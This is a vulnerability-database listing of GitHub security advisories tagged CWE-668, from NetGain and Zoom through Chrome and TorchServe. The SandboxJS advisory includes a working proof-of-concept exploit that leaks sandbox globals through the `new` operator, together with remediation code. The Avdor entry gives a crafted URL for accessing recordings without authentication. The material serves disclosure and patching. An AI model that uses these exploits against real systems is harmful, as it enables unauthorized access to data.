CWE-668
DiscouragedExposure of Resource to Wrong Sphere
Abstraction: Class · Status: Draft
The product exposes a resource to the wrong control sphere, providing unintended actors with inappropriate access to the resource.
1252 vulnerabilities reference this CWE, most recent first.
GHSA-H952-5WF8-97C9
Vulnerability from github – Published: 2022-05-13 01:37 – Updated: 2022-05-13 01:37This vulnerability allows remote attackers to overwrite arbitrary files on vulnerable installations of NetGain Systems Enterprise Manager 7.2.730 build 1034. Although authentication is required to exploit this vulnerability, the existing authentication mechanism can be bypassed. The specific flaw exists within the org.apache.jsp.u.jsp.cnnic.asset.deviceReport.deviceReport_005fexport_005fdo_jsp servlet, which listens on TCP port 8081 by default. When parsing the filename parameter, the process does not properly validate a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to overwrite any files accessible to the Administrator. Was ZDI-CAN-5195.
{
"affected": [],
"aliases": [
"CVE-2017-16604"
],
"database_specific": {
"cwe_ids": [
"CWE-668"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-01-23T01:29:00Z",
"severity": "MODERATE"
},
"details": "This vulnerability allows remote attackers to overwrite arbitrary files on vulnerable installations of NetGain Systems Enterprise Manager 7.2.730 build 1034. Although authentication is required to exploit this vulnerability, the existing authentication mechanism can be bypassed. The specific flaw exists within the org.apache.jsp.u.jsp.cnnic.asset.deviceReport.deviceReport_005fexport_005fdo_jsp servlet, which listens on TCP port 8081 by default. When parsing the filename parameter, the process does not properly validate a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to overwrite any files accessible to the Administrator. Was ZDI-CAN-5195.",
"id": "GHSA-h952-5wf8-97c9",
"modified": "2022-05-13T01:37:23Z",
"published": "2022-05-13T01:37:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-16604"
},
{
"type": "WEB",
"url": "https://zerodayinitiative.com/advisories/ZDI-17-969"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-HF2G-MF2F-2Q73
Vulnerability from github – Published: 2021-12-07 00:00 – Updated: 2021-12-08 00:01Successful exploitation of this vulnerability could allow an unauthorized user to access sensitive data.
{
"affected": [],
"aliases": [
"CVE-2021-36198"
],
"database_specific": {
"cwe_ids": [
"CWE-668"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-12-06T17:15:00Z",
"severity": "HIGH"
},
"details": "Successful exploitation of this vulnerability could allow an unauthorized user to access sensitive data.",
"id": "GHSA-hf2g-mf2f-2q73",
"modified": "2021-12-08T00:01:54Z",
"published": "2021-12-07T00:00:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-36198"
},
{
"type": "WEB",
"url": "https://us-cert.gov/ics/advisories/ICSA-21-336-02"
},
{
"type": "WEB",
"url": "https://www.johnsoncontrols.com/cyber-solutions/security-advisories"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-HFJ7-FPWH-Q5VG
Vulnerability from github – Published: 2023-08-09 00:31 – Updated: 2024-09-27 21:31Exposure of sensitive information in Zoom Client SDK's before 5.15.5 may allow an authenticated user to enable a denial of service via network access.
{
"affected": [],
"aliases": [
"CVE-2023-39214"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-668",
"CWE-749"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-08-08T22:15:10Z",
"severity": "HIGH"
},
"details": "\nExposure of sensitive information in Zoom Client SDK\u0027s before 5.15.5 may allow an authenticated user to enable a denial of service via network access.\n\n",
"id": "GHSA-hfj7-fpwh-q5vg",
"modified": "2024-09-27T21:31:45Z",
"published": "2023-08-09T00:31:57Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-39214"
},
{
"type": "WEB",
"url": "https://explore.zoom.us/en/trust/security/security-bulletin"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-HFMC-M4WV-C2GJ
Vulnerability from github – Published: 2022-09-14 00:00 – Updated: 2022-09-17 00:00Avdor CIS - crystal quality Credentials Management Errors. The product is phone call recorder, you can hear all the recorded calls without authenticate to the system. Attacker sends crafted URL to the system: ip:port//V=2;ChannellD=number;Ext=number;Command=startLM;Client=number;Request=number;R=number number - id of the recorded number.
{
"affected": [],
"aliases": [
"CVE-2022-36780"
],
"database_specific": {
"cwe_ids": [
"CWE-668"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-09-13T15:15:00Z",
"severity": "MODERATE"
},
"details": "Avdor CIS - crystal quality Credentials Management Errors. The product is phone call recorder, you can hear all the recorded calls without authenticate to the system. Attacker sends crafted URL to the system: ip:port//V=2;ChannellD=number;Ext=number;Command=startLM;Client=number;Request=number;R=number number - id of the recorded number.",
"id": "GHSA-hfmc-m4wv-c2gj",
"modified": "2022-09-17T00:00:43Z",
"published": "2022-09-14T00:00:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-36780"
},
{
"type": "WEB",
"url": "https://www.gov.il/en/Departments/faq/cve_advisories"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-HG3G-9J92-V2WP
Vulnerability from github – Published: 2022-05-24 19:17 – Updated: 2022-07-13 00:01Inappropriate implementation in Blink in Google Chrome prior to 93.0.4577.82 allowed a remote attacker who had compromised the renderer process to leak cross-origin data via a crafted HTML page.
{
"affected": [],
"aliases": [
"CVE-2021-30630"
],
"database_specific": {
"cwe_ids": [
"CWE-668"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-10-08T21:15:00Z",
"severity": "MODERATE"
},
"details": "Inappropriate implementation in Blink in Google Chrome prior to 93.0.4577.82 allowed a remote attacker who had compromised the renderer process to leak cross-origin data via a crafted HTML page.",
"id": "GHSA-hg3g-9j92-v2wp",
"modified": "2022-07-13T00:01:23Z",
"published": "2022-05-24T19:17:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-30630"
},
{
"type": "WEB",
"url": "https://chromereleases.googleblog.com/2021/09/stable-channel-update-for-desktop.html"
},
{
"type": "WEB",
"url": "https://crbug.com/1244568"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/4DDW7HAHTS3SDVXBQUY4SURELO5D4X7R"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/PM7MOYYHJSWLIFZ4TPJTD7MSA3HSSLV2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-HG73-4W7G-Q96W
Vulnerability from github – Published: 2026-04-03 21:45 – Updated: 2026-04-06 23:18Description
A scope modification vulnerability exists in @nyariv/sandboxjs version 0.8.35 and below. The vulnerability allows untrusted sandboxed code to leak internal interpreter objects through the new operator, exposing sandbox scope objects in the scope hierarchy to untrusted code; an unexpected and undesired exploit. While this could allow modifying scopes inside the sandbox, code evaluation remains sandboxed and prototypes remain protected throughout the execution.
Vulnerable Code Location
Primary: The New Operator Handler
File: src/executor.ts, lines 1275–1280
addOps<new (...args: unknown[]) => unknown, unknown[]>(
LispType.New,
({ done, a, b, context }) => {
if (!context.ctx.globalsWhitelist.has(a) && !context.ctx.sandboxedFunctions.has(a)) {
throw new SandboxAccessError(`Object construction not allowed: ${a.constructor.name}`);
}
done(undefined, new a(...b)); // ← b is NOT sanitized, return is NOT sanitized
},
);
This handler has two missing sanitization steps:
-
Arguments (
b) are not passed throughvalueOrProp()— Constructor arguments contain rawPropobjects (internal interpreter wrappers) instead of extracted values. -
Return value is not passed through
getGlobalProp()orsanitizeArray()— The constructed object is returned directly to the execution tree without any sanitization.
Comparison: The Call Handler (Correctly Implemented)
File: src/executor.ts, lines 493–605
addOps<unknown, Lisp[], any>(LispType.Call, ({ done, a, b, obj, context }) => {
// ...
const vals = b
.map((item) => {
if (item instanceof SpreadArray) {
return [...item.item];
} else {
return [item];
}
})
.flat()
.map((item) => valueOrProp(item, context)); // ← Arguments ARE sanitized
// ...
let ret = evl ? evl(obj.context[obj.prop], ...vals) : (obj.context[obj.prop](...vals));
ret = getGlobalProp(ret, context) || ret; // ← Return IS sanitized
sanitizeArray(ret, context); // ← Return IS sanitized
done(undefined, ret);
});
The Call handler correctly sanitizes both arguments (via valueOrProp) and return values (via getGlobalProp and sanitizeArray). The New handler does neither.
Why This Is Vulnerable
Step 1: What is a Prop Object?
The sandbox interpreter wraps every value access in a Prop object (defined at src/utils.ts, lines 565–582). A Prop has:
class Prop {
context: any; // The object the property belongs to
prop: PropertyKey; // The property name
isConst: boolean;
isGlobal: boolean;
isVariable: boolean;
}
When sandboxed code accesses a variable like isNaN, the interpreter creates Prop(scope.allVars, 'isNaN'). The context field is a direct reference to the scope's variable storage object.
Step 2: What is in scope.allVars?
At the global scope level, scope.allVars is the same object as options.globals — the SAFE_GLOBALS object containing:
{
globalThis: <real globalThis>,
Function: <real Function constructor>,
eval: <real eval function>,
console: { log: console.log, ... },
Array, Object, Map, Set, Promise, Date, Error, RegExp,
isNaN, parseInt, parseFloat, ...
}
These are the real host JavaScript objects. The sandbox normally protects them by intercepting reads through the Prop handler and replacing dangerous ones via the evals Map.
Step 3: How the Prop Leaks Through new
When sandboxed code executes new Constructor(someVariable):
- The interpreter evaluates
someVariable— this produces aPropobject:Prop(scope.allVars, 'someVariable') - The
Newhandler receives thisPropas-is in thebarray (novalueOrProp()call) new Constructor(...[Prop])passes the rawPropobject to the constructor function- Inside the constructor, the
Propis received as a named parameter - The constructor reads
arg.context— this is the rawscope.allVarsobject containing all real globals - The constructor stores this reference:
this.scope = arg.context - The constructed object is returned without sanitization
Proof of Concept
Step-by-Step Reproduction (Terminal)
Step 1: Create a new directory and initialize
mkdir sandboxjs-poc
cd sandboxjs-poc
npm init -y
Step 2: Set module type to ESM
node -e "const p=require('./package.json');p.type='module';require('fs').writeFileSync('package.json',JSON.stringify(p,null,2))"
Step 3: Install the vulnerable package
npm install @nyariv/sandboxjs@0.8.35
Step 4: Create the minimal exploit
cat > exploit.mjs << 'EOF'
import pkg from '@nyariv/sandboxjs';
const Sandbox = pkg.default || pkg;
const sandbox = new Sandbox();
const {scope} = sandbox.compile(`function E(a){this.scope=a.context}return new E(isNaN)`)({}).run();
console.log(scope);
EOF
Step 5: Run it
node exploit.mjs
Impact
An attacker who can control code executed inside the sandbox can modify scope variables above its current available scope
The attack requires no authentication, no user interaction, and works with default sandbox configuration. The only requirement is that the host application reads the return value from sandbox.compile(code)({}).run(), which is the standard and documented usage pattern.
Suggested Remediation
Fix 1: Sanitize New Handler Arguments (Critical)
Add valueOrProp() to constructor arguments, matching the Call handler's behavior:
// src/executor.ts line 1275-1280
addOps<new (...args: unknown[]) => unknown, unknown[]>(
LispType.New,
({ done, a, b, context }) => {
if (!context.ctx.globalsWhitelist.has(a) && !context.ctx.sandboxedFunctions.has(a)) {
throw new SandboxAccessError(`Object construction not allowed: ${a.constructor.name}`);
}
const sanitizedArgs = b.map((item) => valueOrProp(item, context));
const result = new a(...sanitizedArgs);
const sanitized = getGlobalProp(result, context) || result;
sanitizeArray(sanitized, context);
done(undefined, sanitized);
},
);
Fix 2: Sanitize Sandbox Return Values (Defense in Depth)
Add deep sanitization in Sandbox.ts to strip internal references from any value returned to the host, regardless of how it was produced.
Fix 3: Freeze the Globals Object (Defense in Depth)
Freeze or seal options.globals and scope.allVars after construction to prevent mutation via the Prop leak:
Object.freeze(options.globals);
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.8.35"
},
"package": {
"ecosystem": "npm",
"name": "@nyariv/sandboxjs"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.8.36"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-34217"
],
"database_specific": {
"cwe_ids": [
"CWE-668"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-03T21:45:38Z",
"nvd_published_at": "2026-04-06T16:16:34Z",
"severity": "MODERATE"
},
"details": "## Description\n\nA scope modification vulnerability exists in `@nyariv/sandboxjs` version 0.8.35 and below. The vulnerability allows untrusted sandboxed code to leak internal interpreter objects through the `new` operator, exposing sandbox scope objects in the scope hierarchy to untrusted code; an unexpected and undesired exploit. While this could allow modifying scopes inside the sandbox, code evaluation remains sandboxed and prototypes remain protected throughout the execution.\n\n## Vulnerable Code Location\n\n### Primary: The `New` Operator Handler\n\n**File**: `src/executor.ts`, lines 1275\u20131280\n\n```typescript\naddOps\u003cnew (...args: unknown[]) =\u003e unknown, unknown[]\u003e(\n LispType.New,\n ({ done, a, b, context }) =\u003e {\n if (!context.ctx.globalsWhitelist.has(a) \u0026\u0026 !context.ctx.sandboxedFunctions.has(a)) {\n throw new SandboxAccessError(`Object construction not allowed: ${a.constructor.name}`);\n }\n done(undefined, new a(...b)); // \u2190 b is NOT sanitized, return is NOT sanitized\n },\n);\n```\n\nThis handler has **two missing sanitization steps**:\n\n1. **Arguments (`b`) are not passed through `valueOrProp()`** \u2014 Constructor arguments contain raw `Prop` objects (internal interpreter wrappers) instead of extracted values.\n\n2. **Return value is not passed through `getGlobalProp()` or `sanitizeArray()`** \u2014 The constructed object is returned directly to the execution tree without any sanitization.\n\n### Comparison: The `Call` Handler (Correctly Implemented)\n\n**File**: `src/executor.ts`, lines 493\u2013605\n\n```typescript\naddOps\u003cunknown, Lisp[], any\u003e(LispType.Call, ({ done, a, b, obj, context }) =\u003e {\n // ...\n const vals = b\n .map((item) =\u003e {\n if (item instanceof SpreadArray) {\n return [...item.item];\n } else {\n return [item];\n }\n })\n .flat()\n .map((item) =\u003e valueOrProp(item, context)); // \u2190 Arguments ARE sanitized\n // ...\n let ret = evl ? evl(obj.context[obj.prop], ...vals) : (obj.context[obj.prop](...vals));\n ret = getGlobalProp(ret, context) || ret; // \u2190 Return IS sanitized\n sanitizeArray(ret, context); // \u2190 Return IS sanitized\n done(undefined, ret);\n});\n```\n\nThe `Call` handler correctly sanitizes both arguments (via `valueOrProp`) and return values (via `getGlobalProp` and `sanitizeArray`). The `New` handler does neither.\n\n---\n\n## Why This Is Vulnerable\n\n### Step 1: What is a Prop Object?\n\nThe sandbox interpreter wraps every value access in a `Prop` object (defined at `src/utils.ts`, lines 565\u2013582). A `Prop` has:\n\n```typescript\nclass Prop {\n context: any; // The object the property belongs to\n prop: PropertyKey; // The property name\n isConst: boolean;\n isGlobal: boolean;\n isVariable: boolean;\n}\n```\n\nWhen sandboxed code accesses a variable like `isNaN`, the interpreter creates `Prop(scope.allVars, \u0027isNaN\u0027)`. The `context` field is a direct reference to the scope\u0027s variable storage object.\n\n### Step 2: What is in `scope.allVars`?\n\nAt the global scope level, `scope.allVars` is the same object as `options.globals` \u2014 the SAFE_GLOBALS object containing:\n\n```javascript\n{\n globalThis: \u003creal globalThis\u003e,\n Function: \u003creal Function constructor\u003e,\n eval: \u003creal eval function\u003e,\n console: { log: console.log, ... },\n Array, Object, Map, Set, Promise, Date, Error, RegExp,\n isNaN, parseInt, parseFloat, ...\n}\n```\n\nThese are the **real** host JavaScript objects. The sandbox normally protects them by intercepting reads through the Prop handler and replacing dangerous ones via the evals Map.\n\n### Step 3: How the Prop Leaks Through `new`\n\nWhen sandboxed code executes `new Constructor(someVariable)`:\n\n1. The interpreter evaluates `someVariable` \u2014 this produces a `Prop` object: `Prop(scope.allVars, \u0027someVariable\u0027)`\n2. The `New` handler receives this `Prop` as-is in the `b` array (no `valueOrProp()` call)\n3. `new Constructor(...[Prop])` passes the raw `Prop` object to the constructor function\n4. Inside the constructor, the `Prop` is received as a named parameter\n5. The constructor reads `arg.context` \u2014 this is the raw `scope.allVars` object containing all real globals\n6. The constructor stores this reference: `this.scope = arg.context`\n7. The constructed object is returned without sanitization\n\n## Proof of Concept\n\n### Step-by-Step Reproduction (Terminal)\n\n#### Step 1: Create a new directory and initialize\n\n```bash\nmkdir sandboxjs-poc\ncd sandboxjs-poc\nnpm init -y\n```\n\n#### Step 2: Set module type to ESM\n\n```bash\nnode -e \"const p=require(\u0027./package.json\u0027);p.type=\u0027module\u0027;require(\u0027fs\u0027).writeFileSync(\u0027package.json\u0027,JSON.stringify(p,null,2))\"\n```\n\n#### Step 3: Install the vulnerable package\n\n```bash\nnpm install @nyariv/sandboxjs@0.8.35\n```\n\n#### Step 4: Create the minimal exploit\n\n```bash\ncat \u003e exploit.mjs \u003c\u003c \u0027EOF\u0027\nimport pkg from \u0027@nyariv/sandboxjs\u0027;\nconst Sandbox = pkg.default || pkg;\nconst sandbox = new Sandbox();\nconst {scope} = sandbox.compile(`function E(a){this.scope=a.context}return new E(isNaN)`)({}).run();\nconsole.log(scope);\nEOF\n```\n\n#### Step 5: Run it\n\n```bash\nnode exploit.mjs\n```\n\n## Impact\n\nAn attacker who can control code executed inside the sandbox can modify scope variables above its current available scope\n\nThe attack requires **no authentication**, **no user interaction**, and works with **default sandbox configuration**. The only requirement is that the host application reads the return value from `sandbox.compile(code)({}).run()`, which is the standard and documented usage pattern.\n\n---\n\n## Suggested Remediation\n\n### Fix 1: Sanitize New Handler Arguments (Critical)\n\nAdd `valueOrProp()` to constructor arguments, matching the Call handler\u0027s behavior:\n\n```typescript\n// src/executor.ts line 1275-1280\naddOps\u003cnew (...args: unknown[]) =\u003e unknown, unknown[]\u003e(\n LispType.New,\n ({ done, a, b, context }) =\u003e {\n if (!context.ctx.globalsWhitelist.has(a) \u0026\u0026 !context.ctx.sandboxedFunctions.has(a)) {\n throw new SandboxAccessError(`Object construction not allowed: ${a.constructor.name}`);\n }\n const sanitizedArgs = b.map((item) =\u003e valueOrProp(item, context));\n const result = new a(...sanitizedArgs);\n const sanitized = getGlobalProp(result, context) || result;\n sanitizeArray(sanitized, context);\n done(undefined, sanitized);\n },\n);\n```\n\n### Fix 2: Sanitize Sandbox Return Values (Defense in Depth)\n\nAdd deep sanitization in `Sandbox.ts` to strip internal references from any value returned to the host, regardless of how it was produced.\n\n### Fix 3: Freeze the Globals Object (Defense in Depth)\n\nFreeze or seal `options.globals` and `scope.allVars` after construction to prevent mutation via the Prop leak:\n\n```typescript\nObject.freeze(options.globals);\n```",
"id": "GHSA-hg73-4w7g-q96w",
"modified": "2026-04-06T23:18:33Z",
"published": "2026-04-03T21:45:38Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nyariv/SandboxJS/security/advisories/GHSA-hg73-4w7g-q96w"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34217"
},
{
"type": "WEB",
"url": "https://github.com/nyariv/SandboxJS/commit/abc02f657279e51a4aaad2bc8f99f3e37a01b287"
},
{
"type": "PACKAGE",
"url": "https://github.com/nyariv/SandboxJS"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "SandboxJS: Sandbox Escape via Prop Object Leak in New Handler"
}
GHSA-HG7H-2PR6-WVJF
Vulnerability from github – Published: 2022-04-16 00:00 – Updated: 2022-04-16 00:00Windows DNS Server Information Disclosure Vulnerability.
{
"affected": [],
"aliases": [
"CVE-2022-26816"
],
"database_specific": {
"cwe_ids": [
"CWE-668"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-04-15T19:15:00Z",
"severity": "MODERATE"
},
"details": "Windows DNS Server Information Disclosure Vulnerability.",
"id": "GHSA-hg7h-2pr6-wvjf",
"modified": "2022-04-16T00:00:31Z",
"published": "2022-04-16T00:00:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-26816"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-26816"
},
{
"type": "WEB",
"url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-26816"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-HGGF-QXMM-F4VW
Vulnerability from github – Published: 2022-03-30 00:00 – Updated: 2022-04-09 00:01On unix-like systems, the system temporary directory is shared between all users on that system. The root cause is File.createTempFile creates files in the the system temporary directory with world readable permissions. Any sensitive information written to theses files is visible to all other local users on unix-like systems. We recommend upgrading past commit https://github.com/google/data-transfer-project/pull/969
{
"affected": [],
"aliases": [
"CVE-2021-22572"
],
"database_specific": {
"cwe_ids": [
"CWE-668"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-03-29T15:15:00Z",
"severity": "MODERATE"
},
"details": "On unix-like systems, the system temporary directory is shared between all users on that system. The root cause is File.createTempFile creates files in the the system temporary directory with world readable permissions. Any sensitive information written to theses files is visible to all other local users on unix-like systems. We recommend upgrading past commit https://github.com/google/data-transfer-project/pull/969",
"id": "GHSA-hggf-qxmm-f4vw",
"modified": "2022-04-09T00:01:00Z",
"published": "2022-03-30T00:00:21Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/JLLeitschuh/security-research/security/advisories/GHSA-22c6-wcjm-qfjg"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-22572"
},
{
"type": "WEB",
"url": "https://github.com/google/data-transfer-project/pull/969"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-HH28-49MM-87QV
Vulnerability from github – Published: 2022-03-01 00:00 – Updated: 2023-08-08 15:31The auto-completion plugin in Ametys CMS before 4.5.0 allows a remote unauthenticated attacker to read documents such as plugins/web/service/search/auto-completion//en.xml (and similar pathnames for other languages), which contain all characters typed by all users, including the content of private pages. For example, a private page may contain usernames, e-mail addresses, and possibly passwords.
{
"affected": [],
"aliases": [
"CVE-2022-26159"
],
"database_specific": {
"cwe_ids": [
"CWE-668"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-02-28T04:15:00Z",
"severity": "MODERATE"
},
"details": "The auto-completion plugin in Ametys CMS before 4.5.0 allows a remote unauthenticated attacker to read documents such as plugins/web/service/search/auto-completion/\u003cdomain\u003e/en.xml (and similar pathnames for other languages), which contain all characters typed by all users, including the content of private pages. For example, a private page may contain usernames, e-mail addresses, and possibly passwords.",
"id": "GHSA-hh28-49mm-87qv",
"modified": "2023-08-08T15:31:44Z",
"published": "2022-03-01T00:00:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-26159"
},
{
"type": "WEB",
"url": "https://github.com/p0dalirius/CVE-2022-26159-Ametys-Autocompletion-XML"
},
{
"type": "WEB",
"url": "https://issues.ametys.org/browse/CMS-10973"
},
{
"type": "WEB",
"url": "https://podalirius.net/en/cves/2022-26159"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-HHPG-V63P-WP7W
Vulnerability from github – Published: 2024-07-18 22:06 – Updated: 2024-08-07 16:06Impact
The two gRPC ports 7070 and 7071, are not bound to localhost by default, so when TorchServe is launched, these two interfaces are bound to all interfaces. Customers using PyTorch inference Deep Learning Containers (DLC) through Amazon SageMaker and EKS are not affected.
Patches
This issue in TorchServe has been fixed in #3083.
TorchServe release 0.11.0 includes the fix to address this vulnerability.
References
Thank Kroll Cyber Risk for for responsibly disclosing this issue.
If you have any questions or comments about this advisory, we ask that you contact AWS Security via our vulnerability reporting page or directly via email to aws-security@amazon.com. Please do not create a public GitHub issue.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "torchserve"
},
"ranges": [
{
"events": [
{
"introduced": "0.3.0"
},
{
"fixed": "0.11.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-35199"
],
"database_specific": {
"cwe_ids": [
"CWE-1256",
"CWE-668"
],
"github_reviewed": true,
"github_reviewed_at": "2024-07-18T22:06:41Z",
"nvd_published_at": "2024-07-19T02:15:14Z",
"severity": "HIGH"
},
"details": "### Impact\nThe two gRPC ports 7070 and 7071, are not bound to [localhost](http://localhost/) by default, so when TorchServe is launched, these two interfaces are bound to all interfaces. Customers using PyTorch inference Deep Learning Containers (DLC) through Amazon SageMaker and EKS are not affected.\n\n### Patches\nThis issue in TorchServe has been fixed in [#3083](https://github.com/pytorch/serve/pull/3083).\n\nTorchServe release 0.11.0 includes the fix to address this vulnerability.\n\n### References\n* [#3083](https://github.com/pytorch/serve/pull/3083)\n* [TorchServe release v0.11.0](https://github.com/pytorch/serve/releases/tag/v0.11.0)\n\nThank Kroll Cyber Risk for for responsibly disclosing this issue.\n\nIf you have any questions or comments about this advisory, we ask that you contact AWS Security via our [vulnerability reporting page](https://aws.amazon.com/security/vulnerability-reporting) or directly via email to [aws-security@amazon.com](mailto:aws-security@amazon.com). Please do not create a public GitHub issue.",
"id": "GHSA-hhpg-v63p-wp7w",
"modified": "2024-08-07T16:06:00Z",
"published": "2024-07-18T22:06:41Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pytorch/serve/security/advisories/GHSA-hhpg-v63p-wp7w"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-35199"
},
{
"type": "WEB",
"url": "https://github.com/pytorch/serve/pull/3083"
},
{
"type": "WEB",
"url": "https://github.com/pytorch/serve/commit/aab99506a17193de217aacc1119d9381dbc6ed2b"
},
{
"type": "PACKAGE",
"url": "https://github.com/pytorch/serve"
},
{
"type": "WEB",
"url": "https://github.com/pytorch/serve/releases/tag/v0.11.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "TorchServe gRPC Port Exposure"
}
No mitigation information available for this CWE.
No CAPEC attack patterns related to this CWE.